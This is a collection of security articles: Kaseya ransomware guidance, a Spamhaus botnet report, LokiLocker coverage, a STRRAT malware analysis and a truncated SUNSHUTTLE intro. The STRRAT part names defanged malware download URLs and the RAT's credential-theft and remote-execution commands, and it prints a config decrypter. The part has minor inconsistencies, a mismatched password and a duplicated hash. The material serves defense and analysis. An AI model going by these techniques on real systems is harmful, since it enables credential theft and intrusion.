# CISA-FBI Guidance for MSPs and their Customers Affected by the Kaseya VSA Supply-Chain Ransomware Attack CISA and the Federal Bureau of Investigation (FBI) continue to respond to the recent supply-chain ransomware attack leveraging a vulnerability in Kaseya VSA software against multiple managed service providers (MSPs) and their customers. CISA and FBI strongly urge affected MSPs and their customers to follow the guidance below. ## Recommendations for Affected MSPs - Download the Kaseya VSA Detection Tool. This tool analyzes a system (either VSA server or managed endpoint) and determines whether any indicators of compromise (IOCs) are present. - Enable and enforce multi-factor authentication (MFA) on every single account that is under the control of the organization, and—to the maximum extent possible—enable and enforce MFA for customer-facing services. - Implement allowlisting to limit communication with remote monitoring and management (RMM) capabilities to known IP address pairs, and/or place administrative interfaces of RMM behind a virtual private network (VPN) or a firewall on a dedicated administrative network. ## Recommendations for Affected MSP Customers CISA and FBI recommend MSP customers affected by this attack take immediate action to implement the following cybersecurity best practices. Note: these actions are especially important for MSP customers who do not currently have their RMM service running due to the Kaseya attack. - Ensure backups are up to date and stored in an easily retrievable location that is air-gapped from the organizational network. - Revert to a manual patch management process that follows vendor remediation guidance, including the installation of new patches as soon as they become available. - Implement: - Multi-factor authentication; and - Principle of least privilege on key network resources admin accounts. ## Resources CISA and FBI provide these resources for the reader’s awareness. CISA and FBI do not endorse any non-governmental entities nor guarantee the accuracy of the linked resources. - For the latest guidance from Kaseya, see Kaseya's Important Notice July 3rd, 2021. - For indicators of compromise, see Peter Lowe's GitHub page REvil Kaseya CnC Domains. Note: due to the urgency to share this information, CISA and FBI have not yet validated this content. - For guidance specific to this incident from the cybersecurity community, see Cado Security's GitHub page, Resources for DFIR Professionals Responding to the REvil Ransomware Kaseya Supply Chain Attack. Note: due to the urgency to share this information, CISA and FBI have not yet validated this content. - For advice from the cybersecurity community on securing against MSP ransomware attacks, see Gavin Stone's article, How secure is your RMM, and what can you do to better secure it? - For general incident response guidance, CISA encourages users and administrators to see Joint Cybersecurity Advisory AA20-245A: Technical Approaches to Uncovering and Remediating Malicious Activity.
# Spamhaus Botnet Threat Update ## January to June 2024 Overall, botnet command and control (C&C) activity decreased slightly between January and June this year by -6%. Misuse of the penetration testing framework Cobalt Strike also declined by -41%. Meanwhile, the popularity of Android backdoors was on the rise, with new entries from Hook and Coper. One of the most positive developments was that three well-known global network operators have taken action to address active botnet C&Cs. ## About this report Spamhaus tracks both Internet Protocol (IP) addresses and domain names used by threat actors for hosting botnet command & control (C&C) servers. This data enables us to identify associated elements, including the geolocation of the botnet C&Cs, the malware associated with them, the top-level domains used when registering a domain for a botnet C&C, the sponsoring registrars, and the network hosting the botnet C&C infrastructure. ### Number of botnet C&Cs observed, Jan - Jun 2024 Over the last six months, Spamhaus identified 14,248 botnet C&Cs, compared to 15,226 in the previous six months. This represents a -6% decrease. From July to December 2023, the monthly average was 2,538 botnet C&Cs; this decreased to 2,375 from January to June 2024. #### Period | Period | No. of Botnets | 6 Month Average | % Change | |-----------------|----------------|------------------|----------| | Jul - Dec 2023 | 15,226 | 2,538 | -9% | | Jan - Jun 2024 | 14,248 | 2,375 | -6% | ### What are botnet command & controllers? A ‘botnet controller,’ ‘botnet C2’ or ‘botnet command & control’ server is commonly abbreviated to ‘botnet C&C.’ Fraudsters use these to control malware-infected machines and extract personal and valuable data from malware-infected victims. Botnet C&Cs play a vital role in operations conducted by cybercriminals who are using infected machines to send out spam or ransomware, launch DDoS attacks, commit e-banking fraud or click-fraud, or mine cryptocurrencies such as Bitcoin. Desktop computers and mobile devices, like smartphones, aren’t the only machines that can become infected. There is an increasing number of devices connected to the internet, for example, the Internet of Things (IoT), devices like webcams, network-attached storage (NAS), and many more items. These are also at risk of becoming infected. ### Geolocation of botnet C&Cs, Jan - Jun 2024 Improvements for China Despite a -24% decrease in botnet C&C activity between January and June 2024, China was still hosting more botnet C&Cs (2,823) than any other country. Nevertheless, let’s hope this downtrend continues. #### Decreases across the globe Most regions, including the aforementioned China (-24%), experienced a decrease in the number of botnet C&Cs, with the exception of Bulgaria (+162%), Sweden (+52%), Mexico (+33%), and Russia (+24%). Meanwhile, India, Poland, and Switzerland departed from the Top 20. ### What’s happening in Bulgaria? After reporting a +227% increase in Q4 2023, Bulgaria shows no signs of curtailing this malicious activity. The number of botnet C&Cs hosted in the country continued to increase, reaching 715, placing them at #6 in this Top 20. ### Highs and lows for Latin America New entrants Argentina and Colombia joined the Top 20 rankings at #13 and #16, respectively. Meanwhile, Mexico advanced five places to #7, with a +33% increase, reaching 497 botnet C&Cs. However, there is some positive news: Uruguay dropped to #19 with a respectable -64% decrease, from 330 to 118. ### Top 20 locations of botnet C&Cs | Rank | Country | Jul - Dec 2023 | Jan - Jun 2024 | % Change | |------|------------------|----------------|------------------|----------| | #1 | China | 3,695 | 2,823 | -24% | | #2 | United States | 2,873 | 2,702 | -6% | | #3 | Russia | 1,053 | 1,302 | 24% | | #4 | Germany | 856 | 742 | -13% | | #5 | Netherlands | 1,145 | 737 | -36% | | #6 | Bulgaria | 273 | 715 | 162% | | #7 | Mexico | 373 | 497 | 33% | | #8 | France | 564 | 386 | -32% | | #9 | Singapore | 354 | 332 | -6% | | #10 | United Kingdom | 396 | 286 | -28% | | #11 | Saudi Arabia | 312 | 246 | -21% | | #12 | Sweden | 149 | 226 | 52% | | #13 | Argentina | - | 223 | New entry| | #14 | Vietnam | - | 149 | New entry| | #15 | Canada | 249 | 144 | -42% | | #16 | Finland | 180 | 135 | -25% | | #17 | Colombia | - | 135 | New entry| | #18 | Japan | 181 | 128 | -29% | | #19 | Uruguay | 330 | 118 | -64% | | #20 | Korea (Rep. of) | 147 | 107 | -27% | ### Malware associated with botnet C&Cs, Jan - Jun 2024 #### Cobalt Strike While the number of botnet C&Cs associated with Cobalt Strike decreased by -41%, this malware remained in the #1 spot for another six months. Furthermore, it was associated with 93% more botnet C&Cs than its closest contender, Flubot, at #2. #### Is Flubot not dead? FluBot uses a “FastFlux” technique to host its botnet C&Cs. The same botnet infrastructure also serves as C&Cs for other malware families, such as TeamBot. To make our internal tracking easier, we continue to label the associated infrastructure as FluBot, but this is effectively hosting all kinds of other botnet C&C badness. #### New entries Remote Access Trojans (RATs), accounting for 28.53% of malware, were the second most popular type associated with botnet C&C servers. This malware type is designed to enable attackers to control an infected computer remotely. The most prevalent RAT this reporting period was DCRat, which saw a +72% increase between January and June 2024. #### Android backdoors increase in popularity The number of botnet C&Cs associated with Android backdoors amounted to only 8.58% between July and December 2023; however, over the last six months that percentage rose to 20.01%. This is partially due to new entrants Hook (#7) and Coper (#19), but is predominantly comprised of Flubot associated infrastructure. #### Endgame for IcedID and Pikabot In May, we saw “Operation Endgame” and the takedown of several botnets, including IcedID and Pikabot. Therefore, it will come as no surprise to see these malware families drop out of the Top 20 malware associated with botnet C&Cs this reporting period. ### Malware families associated with botnet C&Cs | Rank | Malware Family | Jul - Dec 2023 | Jan - Jun 2024 | % Change | Description | |------|------------------|----------------|------------------|----------|---------------------------------| | #1 | Cobalt Strike | 5,628 | 3,348 | -41% | Pentest Framework | | #2 | Flubot | 1,159 | 1,727 | 49% | Android Backdoor | | #3 | AsyncRAT | 1,083 | 1,020 | -6% | Remote Access Trojan (RAT) | | #4 | DCRat | 426 | 733 | 72% | Remote Access Trojan (RAT) | | #5 | Remcos | 670 | 729 | 9% | Remote Access Trojan (RAT) | | #6 | Sliver | 800 | 665 | -17% | Pentest Framework | | #7 | Hook | - | 470 | New entry| Android Backdoor | | #8 | Mirai | - | 379 | New entry| DDoS Bot | | #9 | QuasarRAT | 406 | 374 | -8% | Remote Access Trojan (RAT) | | #10 | Qakbot | 942 | 307 | -67% | Backdoor | | #11 | FakeUpdates | 200 | 301 | 51% | Loader/Downloader | | #12 | RedLineStealer | 559 | 280 | -50% | Remote Access Trojan (RAT) | | #13 | Latrodectus | - | 201 | New entry| Loader/Downloader | | #14 | BianLian | - | 197 | New entry| Ransomware | | #15 | Havoc | 140 | 163 | 16% | Pentest Framework | | #16 | RisePro | - | 134 | New entry| Credential Stealer | | #17 | NjRAT | 167 | 128 | -23% | Remote Access Trojan (RAT) | | #18 | Rhadamanthys | 98 | 103 | 5% | Credential Stealer | | #19 | Coper | - | 92 | New entry| Android Backdoor | | #20 | Bashlite | - | 88 | New entry| DDoS Bot | ### Most abused top-level domains, Jan - Jun 2024 #### Interpreting the data Registries with a greater number of active domains have greater exposure to abuse. For example, between January and June 2024, .com had more than 155m domains, of which 0.00129% were associated with botnet C&Cs. Meanwhile, .sbs had approximately 721k domains, of which 0.03172% were associated with botnet C&Cs. Both are in the top five of our listings. #### Top abused TLDs - number of domains | Rank | TLD | Jul - Dec 2023 | Jan - Jun 2024 | % Change | Type of TLD | |------|----------|----------------|------------------|----------|-------------| | #1 | com | 3,103 | 2,013 | -35% | gTLD | | #2 | online | 116 | 441 | 280% | gTLD | | #3 | site | 161 | 367 | 128% | gTLD | | #4 | store | - | 232 | New entry| gTLD | | #5 | sbs | 65 | 229 | 252% | gTLD | | #6 | org | 125 | 229 | 83% | gTLD | | #7 | net | 94 | 224 | 138% | gTLD | | #8 | xyz | 159 | 198 | 25% | gTLD | | #9 | cfd | 86 | 189 | 120% | gTLD | | #10 | top | 217 | 141 | -35% | gTLD | | #11 | shop | 449 | 122 | -73% | gTLD | | #12 | fun | 125 | 78 | -38% | gTLD | | #13 | website | - | 69 | New entry| gTLD | | #14 | cn | - | 68 | New entry| ccTLD | | #15 | cloud | - | 60 | New entry| gTLD | | #16 | tech | - | 58 | New entry| gTLD | | #17 | ru | 101 | 50 | -50% | ccTLD | | #18 | co | - | 48 | New entry| ccTLD | | #19 | info | 803 | 48 | -94% | gTLD | | #20 | space | - | 41 | New entry| gTLD | ### Most abused domain registrars, Jan - Jun 2024 #### Namecheap #1 Despite spending years in the top five, US-based Namecheap finally took the number one position, with a disappointing +89% increase. Meanwhile, NameSilo improved massively, with a -75% reduction dropping to #5 for the first time ever. #### US domain registrars dominate the Top 10 We have seen an increase in new entrants and the overall number of domain registrations across US-based domain registrars in the Top 10, including: GoDaddy (+250%), Namecheap (+89%), Dynadot Inc. (new entry), and Spaceship Inc. (new entry). #### Huge increases at Hostinger We have observed an enormous +564% increase of newly registered botnet C&C domains at the Lithuanian-based registrar, Hostinger, rising from 80 between July December 2023, to 531 between January and June 2024. Now ranking #2 in the Top 20, we hope this domain registrar can stop this increase in malicious domain registrations, and fast. #### Tucows’ downward trend turns After 12 months of reductions in the number of botnet C&C operators registering through them, Tucows experienced an +11% increase during this period. Sadly, this placed Tucows straight back in the Top 10. #### Sav getting savvy to abuse? In Q2 2023, we reported issues we were seeing at US-based registrar, Sav. However, we’re pleased to share that the number of botnet C&C domains registered with Sav has reduced by an impressive -83%. Great work Sav, long may the decreases continue! #### Most abused domain registrars - number of domains | Rank | Registrar | Jul - Dec 2023 | Jan - Jun 2024 | % Change | Country | |------|--------------------|----------------|------------------|----------|--------------| | #1 | Namecheap | 544 | 1,027 | 89% | United States| | #2 | Hostinger | 80 | 531 | 564% | Lithuania | | #3 | GoDaddy.com | 149 | 521 | 250% | United States| | #4 | PDR | 721 | 394 | -45% | India | | #5 | NameSilo | 1,540 | 379 | -75% | Canada | | #6 | Spaceship, Inc. | - | 374 | New entry| United States| | #7 | Dynadot Inc | - | 303 | New entry| United States| | #8 | Sav | 1,349 | 235 | -83% | United States| | #9 | Nicenic | 127 | 191 | 50% | China | | #10 | Tucows | 136 | 151 | 11% | Canada | | #11 | GMO | - | 112 | New entry| Japan | | #12 | WebNic.cc | - | 92 | New entry| Virgin Islands| | #13 | Gname | 52 | 91 | 75% | Singapore | | #14 | Squarespace Domains | - | 90 | New entry| United States| | #15 | eNom | - | 81 | New entry| Canada | | #16 | Hosting Concepts | - | 78 | New entry| Netherlands | | #17 | Alibaba | 83 | 77 | -7% | China | | #18 | RegRU | 121 | 76 | -37% | Russia | | #19 | Network Solutions, LLC | - | 68 | New entry| United States| | #20 | Eranet | 34 | 46 | 35% | China | ### Networks hosting the most newly observed botnet C&Cs, Jan - Jun 2024 As usual, there were many changes in the networks hosting newly observed botnet C&Cs. This Top 20 listing illustrates that there may be an issue with customer vetting processes at the named network, but it doesn’t reflect on the speed that abuse desks deal with reported problems. #### Decreases across 11 networks! After a disappointing Q4 2023, we’re thrilled to report the number of botnet C&Cs hosted on 11 networks previously listed in the Top 20 declined during this reporting period. Decreases ranged from a significant -41% with amazon.com to a token -1% with google.com. Even tencent.com, perpetually in the top spot, experienced a -34% reduction from 1481 to 976! #### Most abused networks - number of domains | Rank | Network | Jul - Dec 2023 | Jan - Jun 2024 | % Change | Country | |------|--------------------|----------------|------------------|----------|--------------| | #1 | tencent.com | 1,481 | 976 | -34% | China | | #2 | alibaba-inc.com | 1,021 | 886 | -13% | China | | #3 | limenet.io | - | 498 | New entry| United States| | #4 | uninet.net.mx | 368 | 490 | 33% | Mexico | | #5 | digitalocean.com | 540 | 431 | -20% | United States| | #6 | amazon.com | 615 | 364 | -41% | United States| | #7 | petaexpress.com | - | 287 | New entry| United States| | #8 | neterra.net | 255 | 263 | 3% | Bulgaria | | #9 | hetzner.com | 328 | 252 | -23% | Germany | | #10 | stc.com.sa | 309 | 242 | -22% | Saudi Arabia | | #11 | huawei.com | 293 | 215 | -27% | China | | #12 | colocrossing.com | 192 | 214 | 11% | United States| | #13 | cloudinnovation.org | - | 205 | New entry| China | | #14 | constant.com | 316 | 202 | -36% | United States| | #15 | m247.com | - | 198 | New entry| Romania | | #16 | microsoft.com | 231 | 195 | -16% | United States| | #17 | ovh.net | 285 | 189 | -34% | France | | #18 | telefonica.com.ar | - | 184 | New entry| Argentina | | #19 | contabo.de | 160 | 169 | 6% | Germany | | #20 | google.com | 134 | 133 | -1% | United States| ### Networks hosting the most active botnet C&Cs, Jan - Jun 2024 Finally, let’s review the networks that hosted the most significant number of active botnet C&Cs between January and June 2024. Hosting providers in this ranking either have an abuse problem, do not take the appropriate action when receiving abuse reports, or omit to notify us when they have dealt with an abuse problem. #### Chinese providers host lion’s share of active C&Cs Over the past 12 months, tencent.com (#1) and alibaba-inc.com (#2) have maintained their positions hosting the most active botnet C&Cs. From January to June 2024, there was a continued upward trend, with a +27% increase for tencent.com and a +58% increase for alibaba-inc.com. Given the ongoing growth of newly observed botnet C&Cs hosted in China, it’s hardly surprising these providers account for almost 50% of networks hosting the most active botnet C&Cs. #### But the good news is… Three major networks, previously highlighted in Q4 2023 for having a potential abuse problem or for failing to take appropriate action to address botnet C&C servers on their network, have made significant improvements. Congratulations to amazon.com (-42%), ovh.net (-36%), and microsoft.com (-26%). Long may this continue! #### Total number of active botnet C&Cs per network | Rank | Network | Jul - Dec 2023 | Jan - Jun 2024 | % Change | Country | |------|--------------------|----------------|------------------|----------|--------------| | #1 | tencent.com | 200 | 253 | 27% | China | | #2 | alibaba-inc.com | 147 | 232 | 58% | China | | #3 | digitalocean.com | 89 | 90 | 1% | United States| | #4 | hetzner.com | 54 | 53 | -2% | Germany | | #5 | google.com | 43 | 46 | 7% | United States| | #6 | ovh.net | 67 | 43 | -36% | France | | #7 | colocrossing.com | 28 | 42 | 50% | United States| | #8 | contabo.de | 29 | 39 | 34% | Germany | | #9 | huawei.com | 35 | 38 | 9% | China | | #10 | amazon.com | 59 | 34 | -42% | United States| | #11 | constant.com | 33 | 23 | -30% | United States| | #12 | microsoft.com | 31 | 23 | -26% | United States| | #13 | itldc.com | 21 | 22 | 5% | United States| | #14 | neterra.net | - | 21 | New entry| Bulgaria | | #15 | m247.com | 14 | 18 | 29% | Romania | | #16 | limenet.io | - | 16 | New entry| United States| | #17 | timeweb.ru | - | 16 | New entry| Russia | | #18 | reliablesite.net | - | 16 | New entry| United States| | #19 | ucloud.cn | - | 15 | New entry| China | | #20 | stark-industries.solutions | - | 13 | New entry| United Kingdom| That’s all for now. Stay safe, and we’ll see you in Jan 2025!
# LokiLocker Ransomware May Use False Flag to Avoid Identification A relatively new ransomware-as-a-service (RaaS) family known as LokiLocker is targeting Microsoft Windows users globally, BlackBerry threat researchers said. The malware, most likely in a beta stage release, encrypts files similar to other notables but also may have the ability to display a false flag tactic that blames Iranian actors, BlackBerry said in a recent blog post. The security provider compared LokiLocker to its namesake in Norse mythology, which often was an enemy to other gods and also acted as a hijacker of sorts. LokiLocker was first seen in the wild in mid-August 2021. This LokiLocker is not a reconstituted version of the older ransomware family called Locky, which was notorious in 2016, or LokiBot, which is an infostealer. Most of the attacks thus far have occurred in Eastern Europe and Asia but there are other geographic instances as well. At this point, BlackBerry has not been able to determine the hackers’ country of origin. ## LokiLocker Ransomware Tactics This is how LokiLocker works: - The bug enters the victim’s network, encrypts files, and demands a monetary ransom to restore access. - The malware is written in .NET and protected with NETGuard (modified ConfuserEX) using an additional virtualization plugin called KoiVM that is publicly available on GitHub but not widely used in malware. - Encrypts victim’s files on local drives and network shares with a standard combination of AES for file encryption and RSA for key protection. - The crew then asks the victim to email them to obtain instructions on how to pay the ransom. Should the victim refuse to pay, LokiLocker also has wiper functionality to delete non-system files to make the system unusable. “With a single stroke, everyone loses,” BlackBerry’s researchers said. At this point, there is no free tool to decrypt files encrypted by LokiLocker. LokiLocker is spread by about 30 vetted affiliates, based on samples that BlackBerry has found in the wild. Each affiliate is identified by a chosen username and is assigned a unique chat-ID number, BlackBerry said. It’s possible that the LokiLocker version via brute-checker hacking tools used to automate validation of stolen accounts and gain access to other accounts with credential stuffing. This may be part of a beta testing stage, which would explain the current ties with so few affiliates, the analysts said. Of particular interest, some of the cracking tools used to distribute the first samples of LokiLocker seem to be developed by an Iranian cracking team called AccountCrack. Still, it’s not clear if the bug actually originates from Iran or the authors are trying to feint tracking. “LokiLocker ransomware is adept at causing mayhem on the user’s endpoints, and, like its namesake Norse god, can prove to be vengeful and destructive if not appeased with a (financial) offering,” BlackBerry wrote. “LokiLocker’s use of KoiVM as a virtualizing protector for .NET applications is an unusual method of complicating analysis. We haven’t seen a lot of other threat actors using it yet, so this may be the start of a new trend.” BlackBerry is cautioning victims not to pay a ransom should an infection strike them. “Quite apart from the fact that every victim who pays the ransom perpetuates the global growth of ransomware, remember that you’re dealing with criminals here, and there is no guarantee that you’ll regain access to your data, even if you pay up,” BlackBerry wrote. “Even if your data is restored, there is no way to know whether the threat actor planted a backdoor somewhere on your machine, for easy future access. After all, people who pay one ransom can often be persuaded to pay another.” ## How to Protect Against Ransomware Attacks The FBI’s general guidance vs. ransomware attacks includes these 10 recommendations: 1. Back-up critical data offline. 2. Ensure copies of critical data are in the cloud or on an external hard drive or storage device. This information should not be accessible from the compromised network. 3. Secure back-ups and ensure data is not accessible for modification or deletion from the system where the data resides. 4. Use multi-factor authentication with strong passwords, including for remote access services. 5. Keep computers, devices and applications patched and up-to-date. 6. Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords and settings. 7. Consider adding an email banner to emails received from outside your organization. 8. Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs. 9. Audit user accounts with administrative privileges and configure access controls with least privilege in mind. 10. Implement network segmentation. ## How MSPs and MSSPs Can Respond to and Recover From Ransomware Attacks If a ransomware incident occurs, then the CISA, FBI and NSA recommend the following four actions: 1. Follow the Ransomware Response Checklist on the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. 2. Scan your backups. If possible, scan your backup data with an antivirus program to check that it is free of malware. 3. Report incidents immediately to CISA, a local FBI Field Office, or U.S. Secret Service Field Office. 4. Apply incident response best practices found in the joint Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.
# New Java STRRAT Ships with .crimson Ransomware Module This Java-based malware installs RDPWrap, steals credentials, logs keystrokes, and remote controls Windows systems. It may soon be capable of infecting systems without Java installed. Java is not commonly used for malware anymore, and its runtime environment is not installed on as many systems as it was in the past. It is surprising when new Java-based malware families arise. I am an active member of the forum MalwareTips.com. A member of this forum, upnorth, shared a sample to be used for testing Antivirus products. This sample caught my attention. It was a Java archive but described as WSHRat. I expected to see either a dropper for a known WSH-based RAT or another Adwind variant. I was wrong. This sample is a new breed of Java RAT, one that is prepared to not rely on a preinstalled Java Runtime Environment (JRE). ## Infection Chain Overview The following sections will describe the infection chain in detail. Here is an overview involving initial infection, intermediate files, unpacking layers, and hardcoded downloads by the payload. ### Infection Chain 1: Spam Email with Malicious Jar Attachment The infection starts with a rather ordinary spam email that has a malicious attachment named NEW ORDER.jar. I found this email via VirusTotal graphs, which shows a relationship to our Jar file. It is not clear if the uploader of the email redacted the email body or if the threat actors didn't want to take their time to add any content. It should be noted that Outlook prevents access to email attachments with .jar extension. In this case, I applied a registry hack to have it shown anyway. The NEW ORDER.jar is a simple dropper. It retrieves a VBScript from the resources, saves the script as bqhoonmpho.vbs to the home directory of the user, and executes it using wscript.exe. ### Infection Chain 2: VBScript Downloads and Installs Java for the RAT The VBScript has a large string in it and uses PowerShell to replace characters in this string. The resulting base64 string is subsequently decoded and executed by PowerShell. The unpacked layer is again a VBScript. This script will copy the packed version of itself to %APPDATA%\edeKbMYRtr.vbs. It will also download a Java Runtime Environment and add it to the registry. That way, it may be prepared to infect systems that don't have Java installed. It even has a built-in check that runs javaw.exe with the -version parameter to verify that the JRE has the version 1.6, 1.7, or 1.8. The email attachment already requires a Java Runtime Environment (JRE) on the system, which means the current infection chain misses the opportunity to work regardless of the JRE installation. If this VBScript is ever shipped with a different initial infection step, it may enable the RAT to work on more systems. The VBScript continues to write the actual payload to %APPDATA%\ntfsmgr.jar and add a RUN key named ntfsmgr to the registry that will autorun the dropped Jar. The RUN key will use the newly installed JRE if no JRE was present before. ### Infection Chain 3: Initial Payload Analysis What struck me first about the Jar payload is the package name strpayload and one of the dependencies listed in the MANIFEST.MF named system-hook-3.5.jar. A quick search for the library turns up a GitHub repository by user kristian stating that "Java (low-level) System Hook provides a very light-weight global keyboard and mouse listener for Java." We can already estimate that the malware may use it to log keystrokes. We see immediately that the Jar file is obfuscated by Allatori. Upon opening the Main.class, we find a URL reference to hxxp://jbfrost.live/strigoi/lib.zip. The URL provides a ZIP bundle of all the dependencies listed in the MANIFEST.MF. The malware will probably not work correctly if this site is down. Due to the use of Allatori, most of the strings in the Jar file are encrypted with AES. Method arguments and local variables mostly use the name 'a', which creates non-working decompiled Java code. Although Java bytecode saves variable names, it uses indices to reference them. So using the same name several times doesn't cause an error in the bytecode but causes one in decompiled code because it's not clear anymore which variable was referenced by 'a'. An example is seen in the image below. The left side shows decompiled Java code with both arguments named 'a'. The right side shows the same method in Java bytecode. The first argument 'arg0' is later referenced by its index via 'adload0'. Method f in class strpayload.r builds a string with information about the infected system. Among others, it shows the name and supposedly version number of the malware, which is "STRRAT 1.2". ### Deobfuscating STRRAT and Its Configuration To combat string encryption by Allatori, I used 'Deobfuscator' by GitHub user 'Java Deobfuscator'. Deobfuscator has a variety of options to choose from. I applied Allatori.StringEncryptionTransformer, which successfully decrypted the strings. In a resource of the malware, I found an encrypted configuration file. The malware code shows it is encrypted with AES using the password "strgoi". I made a quick and dirty decrypter by copying the decompiled code for the decryption method and repairing it, so the double names are not causing compile errors. Then I added a few lines to read and write the config. ```java import java.io.File; import java.nio.ByteBuffer; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; public class ConfigDecrypter { public static void main(String[] args) throws Exception { File config = new File("config.txt"); byte[] configBytes = Files.readAllBytes(config.toPath()); byte[] decryptedConfig = decryptConfig("strigoi", configBytes); Path output = Paths.get("config_decrypted.txt"); Files.write(output, decryptedConfig); } public static byte[] decryptConfig(String password, byte[] data) throws Exception { int var2; ByteBuffer a; if ((var2 = (a = ByteBuffer.wrap(data)).getInt()) >= 12 && var2 <= 16) { byte[] var6 = new byte[var2]; a.get(var6); SecretKey var3 = createKey(password, var6); ByteBuffer var10001 = a; byte[] var8 = new byte[a.remaining()]; data = var8; var10001.get(var8); Cipher var4 = Cipher.getInstance("AES/CBC/PKCS5PADDING"); IvParameterSpec var7 = new IvParameterSpec(var6); var4.init(2, var3, var7); return var4.doFinal(data); } else { throw new IllegalArgumentException("Nonce size is incorrect. Make sure that the incoming data is an AES encrypted file."); } } public static SecretKey createKey(String password, byte[] data) throws Exception { PBEKeySpec a = new PBEKeySpec(password.toCharArray(), data, 65536, 128); byte[] d = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(a).getEncoded(); return new SecretKeySpec(d, "AES"); } } ``` The resulting plaintext configuration of our sample reveals, among others, the C2C server. ### STRRAT Features and Command Listing The RAT has a focus on stealing credentials of browsers and email clients, and passwords via keylogging. It supports the following browsers and email clients: Firefox, Internet Explorer, Chrome, Foxmail, Outlook, and Thunderbird. STRRAT also allows installation of RDPWrap. The file is downloaded from hxxp://wshsoft.company/multrdp.jpg. RDPWrap is an open-source tool that enables Remote Desktop Host support on Windows. There is also a ransomware module. The following table shows a list of all available commands. | Command | Description | |------------------|-----------------------------------------------------------------------------| | reboot | Reboots the infected system | | shutdown | Shuts down the infected system | | uninstall | Removes persistence of the RAT by deleting the scheduled task and autorun entries in the registry. | | disconnect | Closes the connection | | down-n-exec | Downloads a file from a given URL and executes it | | update | Disconnects, then executes a given file in the start menu. | | up-n-exec | Executes a file given by name. Chooses the appropriate runtime environment for files with .jar, .js, .vbs or .wsf extension. Every other file is executed with cmd.exe /c. | | remote-cmd | Executes commands with cmd.exe | | power-shell | Executes commands with powershell.exe | | file-manager | Provides commands to navigate, upload, download, delete and open files | | keylogger | Logs keystrokes and sends them immediately | | offline-keylogger | Starts offline keylogger which saves logged keystrokes to a text file on the infected system | | processes | Create a process listing | | startup-list | Uses WMI to compile a list of autorun entries | | remote-screen | Remote control the infected computer | | rev-proxy | Reverse proxy | | hrdp-new | Downloads and installs HRDPInst.exe which stands for "Hidden RDP Installer". Download URL hxxp://wshsoft.company/multrdp.jpg | | hrdp-res | Same as hrdp-new, but takes an argument containing a user name. The session for this user is logged off. | | chrome-pass | Extracts Chrome credentials | | foxmail-pass | Extracts Foxmail credentials | | outlook-pass | Extracts Outlook credentials | | firefox-pass | Extracts Firefox credentials | | tb-pass | Extracts Thunderbird credentials | | ie-pass | Extracts Internet Explorer credentials | | all-pass | Extracts all credentials | | chk-priv | Returns whether it is run as administrator or user | | req-priv | Run as administrator | | rw-encrypt | Appends ".crimson" extension to files on the system | | rw-decrypt | Removes ".crimson" extension from files on the system | | show-msg | Display a message with notepad.exe | ### Rudimentary Ransomware Module Appends ".crimson" The commands used for the ransomware component are rw-encrypt for "encrypting" files, rw-decrypt for "decrypting" files, and show-msg for displaying the ransom note. Ransomware "encryption" and "decryption" methods are in the class strpayload.l. However, the so-called "encryption" only renames files by appending the .crimson extension. This might still work for extortion because such files cannot be opened anymore by double-clicking. Windows associates the correct program to open files via their extension. If the extension is removed, the files can be opened as usual. There is no ransom note template in the client of the RAT. The attacker can display anything they like with the show-msg command. It is possible that the server provides ransom note templates. ### STRRAT Attempts to Infect German Customers The version number "1.2" and the fact that this malware doesn't seem to be described before indicates that this RAT is a fairly new player in the wild. The infection chain is not well thought out as it makes void certain features of the intermediate layers in the chain. I also haven't seen any ransomware reports involving this RAT. Maybe the, for now, badly implemented ransomware module is just the first version of it. Our telemetry shows infection attempts on German customers. While we hope not to see any more of them, it's most likely not the end of it. It should be noted that the number of potentially vulnerable systems is limited by the current infection chain. 1. Even though it is Java-based, the RAT only works on Windows. 2. Even though preparations have been made to overcome this, the current chain still needs a pre-installed JRE. 3. Outlook blocks the email attachment. I expect that the second and third limitations may be removed soon because they are already prepared or easily implemented. The limitation on Windows, however, would require too many code modifications. ### Indicators of Compromise | Description | Filename | SHA256 | |------------------|----------------------|----------------------------------------------------------------------| | Spam email | 1124150.eml | e6b0a56662d1f0544257c63e63b2f85ad7215f0df3a7f5a689dee66f27e24db7 | | Java-based VBS | NEW ORDER.jar | 0f0e25e859bc6f21447ed196d557eb6cdba9737dd3de22a5183a505da0126302 | | VBScript | bqhoonmpho.vbs | b76e2eea653b480c8a559215aa08806fad4c83c60f9a5996e89d51709212ee29 | | JAR dropper | edeKbMYRtr.vbs | 7c24d99685623b604aa4b2686e9c1b843a4243eb1b0b7b096d73bcae3d8d5a79 | | Java RAT | ntfsmgr.jar | 7c24d99685623b604aa4b2686e9c1b843a4243eb1b0b7b096d73bcae3d8d5a79 | | RDPWrap | multrdp.jpg | ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753 | Karsten Hahn Malware Analyst
# New SUNSHUTTLE Second-Stage Backdoor Uncovered ## Executive Summary In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository. SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities. Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452 and have indications that it is linked to UNC2452, but we have not fully verified this connection. The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor. ## Threat Detail Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in Go and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2 and, if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.” The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 